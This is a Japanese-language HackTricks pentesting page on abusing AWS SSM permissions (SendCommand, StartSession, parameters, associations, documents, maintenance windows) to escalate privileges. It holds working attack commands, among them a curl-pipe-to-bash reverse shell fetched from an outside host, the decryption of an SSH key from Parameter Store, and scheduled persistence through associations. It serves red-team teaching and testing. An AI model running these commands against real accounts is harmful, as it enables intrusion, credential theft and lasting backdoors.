AWS - SSM Privesc

Tip

学んで実践する AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
学んで実践する GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
学んで実践する Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks をサポートする

SSM

SSM についての詳細は以下を確認してください:

AWS - EC2, EBS, ELB, SSM, VPC & VPN Enum

ssm:SendCommand

ssm:SendCommand 権限を持つ攻撃者は、Amazon SSM Agent が動作しているインスタンス内でコマンドを実行でき、その中で動作している IAM Role を侵害できます。

# Check for configured instances
aws ssm describe-instance-information
aws ssm describe-sessions --state Active

# Send rev shell command
aws ssm send-command --instance-ids "$INSTANCE_ID" \
--document-name "AWS-RunShellScript" --output text \
--parameters commands="curl https://reverse-shell.sh/4.tcp.ngrok.io:16084 | bash"

この technique を already compromised な EC2 instance 内で権限昇格に使っている場合は、rev shell をローカルで次のように capture するだけでよいです:

# If you are in the machine you can capture the reverseshel inside of it
nc -lvnp 4444 #Inside the EC2 instance
aws ssm send-command --instance-ids "$INSTANCE_ID" \
--document-name "AWS-RunShellScript" --output text \
--parameters commands="curl https://reverse-shell.sh/127.0.0.1:4444 | bash"

潜在的な影響: SSM Agents が動作している稼働中の instances に attached された EC2 IAM roles への直接的な privesc。

ssm:StartSession

権限 ssm:StartSession を持つ attacker は、Amazon SSM Agent が動作している instances で SSH のような session を開始 でき、その中で動作している IAM Role を compromise できる。

# Check for configured instances
aws ssm describe-instance-information
aws ssm describe-sessions --state Active

# Send rev shell command
aws ssm start-session --target "$INSTANCE_ID"

Caution

セッションを開始するには SessionManagerPlugin のインストールが必要です: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html

Potential Impact: 稼働中のインスタンスにアタッチされた、SSM Agents が動作している EC2 IAM roles への直接 privesc。

Privesc to ECS

ECS tasks が ExecuteCommand enabled で実行されている場合、十分な権限を持つユーザーは ecs execute-command を使って container 内で コマンドを実行 できます。
the documentation によると、これは SSM Session Manager を使って “exec“ コマンドを開始する端末と target container の間に secure channel を作成することで実現されます。（これが動作するには SSM Session Manager Plugin が必要です）
そのため、ssm:StartSession を持つユーザーは、この option が enabled な ECS tasks 内で shell を取得 でき、次を実行するだけです:

aws ssm start-session --target "ecs:CLUSTERNAME_TASKID_RUNTIMEID"

Potential Impact: ExecuteCommand が有効な実行中のタスクに付与された ECSIAM roles への直接的な privesc。

ssm:ResumeSession

ssm:ResumeSession 権限を持つ attacker は、Amazon SSM Agent が動作している instances で 切断された SSM session state を持つ SSH のような session を再開 でき、その中で動作している IAM Role を compromise できます。

# Check for configured instances
aws ssm describe-sessions

# Get resume data (you will probably need to do something else with this info to connect)
aws ssm resume-session \
--session-id Mary-Major-07a16060613c408b5

潜在的影響: SSM Agents が動作していて切断された sessions を持つ稼働中の instances にアタッチされた EC2 IAM roles への直接的な privesc。

ssm:DescribeParameters, (ssm:GetParameter | ssm:GetParameters)

記載の permissions を持つ attacker は、SSM parameters を一覧表示し、それらを平文で読むことができます。これらの parameters には、SSH keys や API keys などの機密情報がしばしば含まれています。

aws ssm describe-parameters
# Suppose that you found a parameter called "id_rsa"
aws ssm get-parameters --names id_rsa --with-decryption
aws ssm get-parameter --name id_rsa --with-decryption

潜在的影響: パラメータ内の機密情報を見つける。

ssm:ListCommands

この権限を持つ attacker は、送信されたすべての commands を一覧表示でき、うまくいけばそこから sensitive information を見つけられる。

aws ssm list-commands

潜在的影響: コマンドライン内の機密情報を見つける。

ssm:GetCommandInvocation, (ssm:ListCommandInvocations | ssm:ListCommands)

これらの権限を持つ攻撃者は、送信されたすべてのcommandsを一覧表示し、生成されたoutputを読み取れるため、そこにsensitive informationが含まれていないか確認できる。

# You can use any of both options to get the command-id and instance id
aws ssm list-commands
aws ssm list-command-invocations

aws ssm get-command-invocation --command-id <cmd_id> --instance-id <i_id>

潜在的な影響: コマンドラインの出力内で機密情報を見つける。

ssm:CreateAssociation を使用する

権限 ssm:CreateAssociation を持つ攻撃者は、SSM によって管理される EC2 インスタンス上でコマンドを自動実行するために、State Manager Association を作成できます。これらの association は、固定間隔で実行するように設定できるため、対話型セッションなしで backdoor のような永続化に適しています。

aws ssm create-association \
--name SSM-Document-Name \
--targets Key=InstanceIds,Values=target-instance-id \
--parameters commands=["malicious-command"] \
--schedule-expression "rate(30 minutes)" \
--association-name association-name

Note

この persistence method は、EC2 instance が Systems Manager によって managed されており、SSM agent が running していて、かつ attacker が associations を作成する permission を持っている限り機能します。interactive sessions や明示的な ssm:SendCommand permissions は不要です。Important: --schedule-expression parameter（例: rate(30 minutes)）は AWS の minimum interval 30 minutes に従う必要があります。即時または一回限りの execution には、--schedule-expression を完全に省略してください — association は creation 後に一度だけ実行されます。

ssm:UpdateDocument, ssm:UpdateDocumentDefaultVersion, (ssm:ListDocuments | ssm:GetDocument)

ssm:UpdateDocument と ssm:UpdateDocumentDefaultVersion の permissions を持つ attacker は、既存の documents を modifying することで privilege escalation できます。これにより、その document 内での persistence も可能になります。実際には、attacker は custom documents の names を取得するために ssm:ListDocuments も必要で、さらに attacker が既存の document 内に payload を obfuscate したい場合は ssm:GetDocument も必要になります。

aws ssm list-documents
aws ssm get-document --name "target-document" --document-format YAML
# You will need to specify the version you're updating
aws ssm update-document \
--name "target-document" \
--document-format YAML \
--content "file://doc.yaml" \
--document-version 1
aws ssm update-document-default-version --name "target-document" --document-version 2

以下は、既存の document を上書きするために使用できる example document です。invocation の問題を避けるため、document type が target document の type と一致していることを確認したいでしょう。以下の document は、例えば ssm:SendCommand と ssm:CreateAssociation の examples に使われます。

schemaVersion: '2.2'
description: Execute commands on a Linux instance.
parameters:
commands:
type: StringList
description: "The commands to run."
displayType: textarea
mainSteps:
- action: aws:runShellScript
name: runCommands
inputs:
runCommand:
- "id > /tmp/pwn_test.txt"

ssm:RegisterTaskWithMaintenanceWindow, ssm:RegisterTargetWithMaintenanceWindow, (ssm:DescribeMaintenanceWindows | ec2:DescribeInstances)

ssm:RegisterTaskWithMaintenanceWindow と ssm:RegisterTargetWithMaintenanceWindow の権限を持つ攻撃者は、まず既存の maintenance window に新しい target を登録し、その後に新しい task を更新して登録することで、privilege escalation できます。これにより既存の targets 上で execution を実現できますが、新しい targets を登録することで、異なる roles を持つ compute を compromise することも可能になります。また、maintenance windows の tasks は window 作成時に定義された間隔で実行されるため、persistence にも利用できます。実際には、maintenance window の ID を取得するために ssm:DescribeMaintenanceWindows も必要になります。

aws ec2 describe-instances
aws ssm describe-maintenance-window
aws ssm register-target-with-maintenance-window \
--window-id "<mw-id>" \
--resource-type "INSTANCE" \
--targets "Key=InstanceIds,Values=<instance_id>"
aws ssm register-task-with-maintenance-window \
--window-id "<mw-id>" \
--task-arn "AWS-RunShellScript" \
--task-type "RUN_COMMAND" \
--targets "Key=WindowTargetIds,Values=<target_id>" \
--task-invocation-parameters '{ "RunCommand": { "Parameters": { "commands": ["echo test > /tmp/regtaskpwn.txt"] } } }' \
--max-concurrency 50 \
--max-errors 100

Codebuild

SSMを使って、ビルド中のcodebuildプロジェクトの中に入ることもできます:

AWS - Codebuild Privesc

Tip

学んで実践する AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
学んで実践する GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
学んで実践する Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks をサポートする